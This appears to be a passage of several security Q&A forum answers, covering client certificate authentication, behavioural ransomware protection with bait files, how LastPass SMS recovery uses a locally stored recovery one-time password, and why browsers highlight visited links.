If you want to authenticate to it, you must have a certificate that is signed by a Certificate Authority that my server trusts. You must buy and have this certificate installed in your computer too.
This is not a simple configuration for most end-users in the internet.

There are some other methods that are used by enterprises, because they usually have all the infrastructure and the web-sites are only accessed inside the corporate network, for example:
SAML2.0, Kerberos, JWT, etc.


Why is there no easy heuristic protection against ransomware?

There is. Programs like Cybereason Ransomfree claim to do exactly that. From their FAQ:

  Cybereason RansomFree watches the way applications interact with files, and when it detects ransomware behavior, it stops it immediately before the files are encrypted. Cybereason RansomFree uses pure behavioral detection techniques and does not rely on malware signatures.
  Cybereason RansomFree deploys bait files strategically placed where ransomware often begins its encryption. The solution watches the way applications interact with files, and when it detects ransomware behavior, it stops it immediately before the files are encrypted.
  Cybereason RansomFree uses pure behavioral detection techniques and does not rely on malware signatures.

I have installed it on my machine. It creates hidden directories with files that it monitors on the desktop and on every partition.

I have not tested its effectiveness yet (e.g. by quickly modifying all the files in one of those directories).

Note that this kind of protection may not be a guarantee against all effects of the ransomware, because you have no control over the order in which ransomware processes files (some files will already be encrypted before the attack is detected). Also, if the prevention is based on the rate of the file modifications, the malware may slip through when it throttles its own execution (some variants are known to do that).


is LastPass SMS Recovery a security risk?

Yes, it is a slight security risk, for the reason Conor Mancone points out. But no, it does not mean that LastPass stores your master password on their servers, and would-be hackers need to do more than just obtain the recovery SMS.

To use SMS recovery, you must have access to a computer and browser where you have previously used LastPass. LastPass generates and stores a recovery one-time password (rOTP) on your computer when you log in the first time on a new computer/browser. This rOTP essentially works like a second master password and is only stored locally on your computer, but is disabled until you request account recovery. The recovery SMS just activates the rOTP, allowing you to access and decrypt your vault using it, after which you can reencrypt it using a new master password of your choice (the rOTP is disabled permanently after being used once).

Without access to a computer where you have previously used LastPass, SMS recovery won't work. This means that any hackers or LastPass employees that want to use it to access your vault would first have to get access to a computer where you previously logged into LastPass, and where you haven't taken steps to delete any traces it left behind.

More details are in the blog post announcing the SMS recovery feature. The LastPass help file you cite unfortunately is ambiguous and confusing on the rOTP part.

A more technical (and less ambiguous) description can be found in the LastPass Technical Whitepaper (I'm not sure that link is stable, so click "Technical White Paper" at the bottom of the Overview of LastPass Enterprise if it's broken). See page 10, under "Recovery".


How to stop search engines from saving your history?

the first result I clicked before is highlighted - how does the search engine knows?

Visited links are highlighted because your browser keeps track of them in the browser history, not because the sites are tracking you.

There is a special CSS selector for that. When your browser renders a page, it looks for links with the :visited CSS selector and checks if the link appears in your history. If it does, the link is displayed according to the selector rules (which by default is a different text color).

The website itself cannot read this value, so it can't track that you visited the link before. (At least it's supposed to not know that you visited it. In the past there have been several vulnerabilities known as history leaks that allow websites to reverse-engineer the sites you visited.)

To stop visited links from displaying differently in Firefox, you can go to about:config and set layout.css.visited_links_enabled = false. If you don't want Firefox to keep track of visited sites at all, you can disable the browser history in your preferences under the Privacy tab.